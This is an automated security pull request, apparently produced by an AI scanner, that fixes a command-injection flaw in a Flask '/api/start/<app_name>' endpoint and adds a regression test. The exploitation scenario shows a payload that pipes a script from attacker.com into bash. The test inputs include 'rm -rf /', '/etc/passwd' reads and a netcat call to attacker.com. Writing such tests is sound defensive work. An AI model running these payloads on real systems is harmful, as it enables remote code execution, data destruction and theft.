fix: sanitize subprocess call in app.py

[orbisai0security]

Summary

Fix critical severity security issue in app.py.

Vulnerability

Field	Value
ID	V-002
Severity	CRITICAL
Scanner	multi_agent_ai
Rule	V-002
File	app.py:676
Assessment	Confirmed exploitable

Description: The Flask application exposes a /api/start/<app_name> endpoint that accepts a URL path parameter and uses it in subprocess.Popen to spawn processes. If the app_name parameter is not strictly validated against a whitelist, attackers can inject shell metacharacters to execute arbitrary commands on the server.

Evidence

Exploitation scenario: Send GET/POST request to /api/start/test;curl+attacker.com/shell.sh|bash to inject and execute arbitrary commands.

Scanner confirmation: multi_agent_ai rule V-002 flagged this pattern.

Production code: This file is in the production codebase, not test-only code.

Threat Model Context

This main application appears to be publicly accessible. This is a web service - vulnerabilities in request handlers are directly exploitable by remote attackers.

Changes

• app.py

Verification

• Build passes
• Scanner re-scan confirms fix
• LLM code review passed

Security Invariant

Property: The security boundary is maintained under adversarial input

Regression test

import pytest
import subprocess
from unittest.mock import patch, MagicMock
from app import app


@pytest.mark.parametrize("app_name", [
    "valid_app",                          # Valid whitelist case
    "app; rm -rf /",                      # Command injection attempt
    "app && cat /etc/passwd",             # Command chaining attempt
    "app$(whoami)",                       # Command substitution attempt
    "app|nc attacker.com 4444",           # Pipe to exfiltrate data
])
def test_app_start_endpoint_prevents_command_injection(app_name):
    """Invariant: The /api/start/<app_name> endpoint must not execute arbitrary shell commands regardless of app_name input."""
    
    client = app.test_client()
    
    with patch('subprocess.Popen') as mock_popen:
        mock_popen.return_value = MagicMock()
        
        response = client.get(f'/api/start/{app_name}')
        
        # If endpoint rejects invalid input, it should return 400/403
        # If it accepts, Popen must be called with safe arguments (list, not shell=True)
        if response.status_code in [200, 201]:
            # Verify Popen was called with a list (safe) not a string (shell injection risk)
            assert mock_popen.called, "Popen should be called for valid apps"
            call_args = mock_popen.call_args
            
            # Ensure shell=False or not set (defaults to False)
            assert call_args.kwargs.get('shell', False) is False, \
                "Popen must not use shell=True"
            
            # Ensure first argument is a list, not a string
            assert isinstance(call_args[0][0], list), \
                "Popen args must be a list, not a shell string"
            
            # Verify app_name is not directly interpolated into command
            cmd_str = ' '.join(call_args[0][0])
            assert not any(char in cmd_str for char in [';', '|', '&', '$', '`']), \
                "Command must not contain shell metacharacters from user input"
        else:
            # Endpoint correctly rejected suspicious input
            assert response.status_code in [400, 403, 404], \
                "Invalid app_name should be rejected"

This test guards against regressions — it's useful independent of the code change above.

---

Automated security fix by OrbisAI Security